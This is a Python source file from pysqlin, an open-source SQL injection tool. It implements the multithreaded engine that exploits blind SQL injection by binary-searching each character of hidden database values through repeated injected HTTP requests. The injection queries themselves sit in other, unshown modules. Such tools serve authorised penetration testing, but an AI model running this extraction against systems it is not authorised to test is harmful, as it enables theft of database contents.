'''
blind.py

Copyright 2009 Xavier Mendez Navarro aka Javi

This file is part of pysqlin

pysqlin is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.

pysqlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with pysqlin; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
'''

import logging
import threading
import operator
import re
import sys
import time

from Queue import Queue
from framework.myqueue import PriorityQueue

from framework.baseclass import BInjector
from framework.interfaces import IInjector
from framework.settings import Settings
from framework.myexceptions import MyException
from framework.sqlinjection import SQLInjection
import framework.myevents

RESULTS_TYPE = 'msg_type'
CHAR_TYPE = 'char_type'
EXCEPTION_TYPE = 'exception_type'
URL_TYPE = 'url_type'
EXIT = 'exit'

class BlindMan(BInjector, IInjector):
    """Launchs and controls the injection threads"""

    def __init__(self, api):
	BInjector.__init__(self, api)

	self.__logger = logging.getLogger('framework.mythreading.BlindMan')

	self.__threads = []
	self.__requests_queue = None
	self.__messages_queue = None

	self.min = 0
	self.max = 255

	self.log = []

    def name(self): return "BlindMan"
    def description(self): return "Exploits blind SQL Injections"
    def parameters(self): return {}

    def is_threadable(self): return False
    def cardinality(self): return 1

    def check_parameters(self, data):
	if data['error_mode'] not in ['positive', 'negative']:
	    raise MyException("Invalid error mode")
	if not data['error_string']:
	    raise MyException("Must define an error string")

    def stop_job(self):
	self.__logger.debug('stop_job. START')

	self.__logger.info("stop_job. tell threads to not put more data.")
	for th in self.__threads:
	    th.cancel()

	self.__logger.info("stop_job. waiting for __requests_queue")
	self.__requests_queue.join()

	self.__logger.info("stop_job. tell threads to die")
	for i in range(len(self.__threads)):
	    self.__requests_queue.put((None, None, None))

	self.__logger.info("stop_job. wait for threads death")
	for th in self.__threads:
	    if th.is_alive(): th.join()

	self.__messages_queue.put_high((EXIT, None))

	self.__logger.debug('stop_job. END')

    def cancel_job(self):
	self.stop_job()
	self.__logger.debug('cancel_job. START')
	self.__messages_queue.put_high((EXIT, None))
	self.__logger.debug('cancel_job. END')

    def launch_job(self, from_row, to_row):
	self.prepare_job(SQLInjection.from_copy(sqli=self.sqli, row=str(from_row)))
	self.supervisor(from_row, to_row)

    def prepare_job(self, sql_injection):
	self.__logger.debug('prepare_job. START')

	# threading parameters
	queue_size = int(Settings().get(Settings.SEC_PERF, Settings.MAXREQUESTS))
	block_size = int(Settings().get(Settings.SEC_PERF, Settings.BLOCK_SIZE))
	max_threads = block_size + 1 # if threads < block_size => deadlock

	self.__logger.info("prepare_job. Creating queue working queue of %d max items" % (queue_size))

	self.__requests_queue = Queue()
	self.__messages_queue = PriorityQueue()
	self.__threads = []

	self.min, self.max = sql_injection.query.get_min_max()
	sql_injection.raise_exception = False

	self.__logger.info("prepare_job. Creating %d workers threads" % (max_threads))
	try:
	    for i in range(max_threads):
		th = Worker(i, self.__requests_queue, self.__messages_queue, sql_injection)
		self.__threads.append(th)
		th.start()

	    self.__logger.debug("prepare_job. Filling worker queue of %d initial HTTP requests" % (block_size))


	    for pos in range(1, block_size + 1):
		self.__requests_queue.put((self.min, self.max, pos))

	except KeyboardInterrupt:
	    self.__logger.warning("prepare_job. EXCEPTION KeyboardInterrupt => cancelling")
	    #self.cancel_job()
	    raise KeyboardInterrupt

    def supervisor(self, from_row, to_row):
	self.__logger.debug("supervisor. START")

	block_size = int(Settings().get(Settings.SEC_PERF, Settings.BLOCK_SIZE))
	max_threads = block_size + 1 # if threads < queue_size => deadlock

	max_pos = block_size

	results = []
	word_end = 9999
	last_char = 0
	collected = 0

	while 1:
	    try:
		#msg_type, data = self.__messages_queue.get_nowait()
		self.__logger.debug("supervisor. Waiting for messages.")
		# http://bugs.python.org/issue1360
		data = self.__messages_queue.get(True, 365 * 24 * 60 * 60)

		msg_type, msg = data[0], data[1:]
		self.__logger.debug("supervisor. received msg_type=%s, data=%s." % (msg_type, msg))

		if msg_type == EXIT:
		    self.__logger.debug("supervisor. received died msg")
		    self.print_char(None, None)
		    return
		if msg_type == RESULTS_TYPE:
		    position, charac = msg

		    self.__logger.debug("supervisor. received msg=%s.", msg)

		    # Worker founded char?
		    if charac is None:
			if position < last_char:
			    self.stop_job()
			    self.print_char(None, None)
			    raise MyException('Character not found before collecting all. Check MIN-MAX.')
			if word_end > position:
			    # non-characer => word ends at position.
			    word_end = position

			    self.__logger.debug("supervisor. tell threads to no process pos > %d.", word_end)
			    for th in self.__threads:
				th.set_end_pos(word_end)
		    else:
			self.print_char(position,chr(charac))
			if position > last_char: last_char = position
			collected = collected + 1
			results.append((position, chr(charac)))
			self.__logger.debug("supervisor. appending. results=%s", results)

		    if collected >= max_pos:
			self.__logger.debug("supervisor. Reached max. block size, max_pos=%d" % max_pos)
			max_pos = collected + block_size
			if max_pos > word_end: max_pos = word_end

			self.__logger.debug("supervisor. Creating new block, from=%d, to=%d" % (collected + 1, max_pos + 1))
			for p in range(collected + 1, max_pos + 1):
			    self.__requests_queue.put((self.min, self.max, p))
		    elif collected == word_end-1:
			self.__logger.info("supervisor. collected all results.")
			break
		elif msg_type == EXCEPTION_TYPE:
		    self.stop_job()
		    self.print_char(None, None)
		    self.put_exception(MyException(msg))
		    return
		elif msg_type == CHAR_TYPE:
		    position, charac = msg
		    self.print_char(position,chr(charac))
		elif msg_type == URL_TYPE:
		    self.log.append(msg)
	    except KeyboardInterrupt:
		self.print_char(None, None)
		self.__logger.warning("supervisor. EXCEPTION KeyboardInterrupt => cancelling")
		self.stop_job()
		raise MyException('KeyboardInterrupt')

	self.print_char(None, None)
	self.stop_job()

	results.sort(key=operator.itemgetter(0))
	word = ''.join([w for p,w in results])

	self.__logger.info("supervisor. END")

	if word == '': 
	    self.no_results(from_row)
	    return

	self.put_results(from_row, word)

class Worker(threading.Thread):

    def __init__(self, id, queue, rqueue, injection):
        self.__id = id
        self.__queue = queue
        self.__results = rqueue
	self.__logger = logging.getLogger("framework.mythreading.Worker")

	# injection parameters
	self.sqlinjection = injection

	self.__cancelling = False
	self.__end_pos = 9999

	self.min, self.max = injection.query.get_min_max()

        threading.Thread.__init__(self)

    def cancel(self):
	self.__logger.debug("cancel. START. I'm %d, Tell not to put more data." % (self.__id))

	self.__cancelling = True

    def set_end_pos(self, end_pos):
	self.__logger.debug("end_pos. START. I'm %d, Tell not to process pos > %d." % (self.__id,end_pos))

	self.__end_pos = end_pos

    def run(self):
	while(1):
	    try:
		self.__logger.debug("run. I'm %d waiting for job" % (self.__id))
		min, max, pos = self.__queue.get()

		if pos is None:
		    self.__logger.debug("run. i'm %d picked None => dying!" % (self.__id))
		    self.__queue.task_done()
		    break
		elif pos > self.__end_pos:
		    self.__logger.debug("run. i'm %d, my pos > end_pos." % (self.__id))
		    self.__queue.task_done()
		elif self.__cancelling:
		    self.__logger.debug("run. i'm %d, Cancelling received job." % (self.__id))
		    self.__queue.task_done()
		else:
		    self.__logger.debug("run. i'm %d picked pos=%d, min=%d, max=%d" % (self.__id, pos, min, max))

		    # do work
		    (min, max, pos) = self.inject(min, max, pos)

		    self.__logger.debug("run. i'm %d task done" % (self.__id))
		    self.__queue.task_done()

		    if not self.__cancelling and min is not None: 
			self.__logger.debug("run. i'm %d, qsize=%d, putting new values min=%d, max=%d, pos=%d, end_pos=%d" % \
					    (self.__id, self.__queue.qsize(), min, max, pos, self.__end_pos))
			if pos < self.__end_pos: self.__queue.put((min,max,pos))
	    except Exception, error:
		self.__logger.error("run. i'm %d, Unexpected exception %s" % (self.__id, error))
		self.__queue.task_done()
		self.__results.put_high((EXCEPTION_TYPE, "Unexpected exception in thread: %s" % error))
		pass

    def inject(self, min, max, pos):
	'''
	The algorithm used to find the character is mainly
	based in Carlos del Ojo aka deepbit blind.py script.
	'''
	if min > max:
	    if min <= self.min or min >= self.max:
		self.__logger.info("run. i'm %d, char not found!!" % (self.__id))
		self.__results.put_normal((RESULTS_TYPE, pos, None))
		return (None, None, None)

	    char = self.sqlinjection.query.char_to_charset(min)
	    self.__logger.info("inject. i'm %d, founded char %s at pos %d!!" \
			    % (self.__id, chr(char), pos))
	    self.__results.put_normal((RESULTS_TYPE, pos, char))
	    return (None, None, None)

	char = self.sqlinjection.query.char_to_charset((max-min)/2 + min)
	self.__results.put_normal((CHAR_TYPE, pos, char))

	try:
	    code, content = self.sqlinjection.perform(char=char, pos=pos)
	    if code is None: return (None, None, None)
	    if self.sqlinjection.is_positive(content):
		self.__logger.debug("inject. END. i'm %d, Founded error string", self.__id)
		return ((min+(max-min)/2+1, max, pos))
	    else:
		self.__logger.debug("inject. END. i'm %d, Not Founded error string", self.__id)
		return ((min,min+(max-min)/2-1,pos))
	except MyException, error:
	    self.__logger.error("inject. i'm %d, Exception in perform %s" % (self.__id, error))
	    self.__results.put_high((EXCEPTION_TYPE, 'Fatal error in HTTP request: %s' % (error)))
	    return (None, None, None)

def load(api):
    return BlindMan(api)
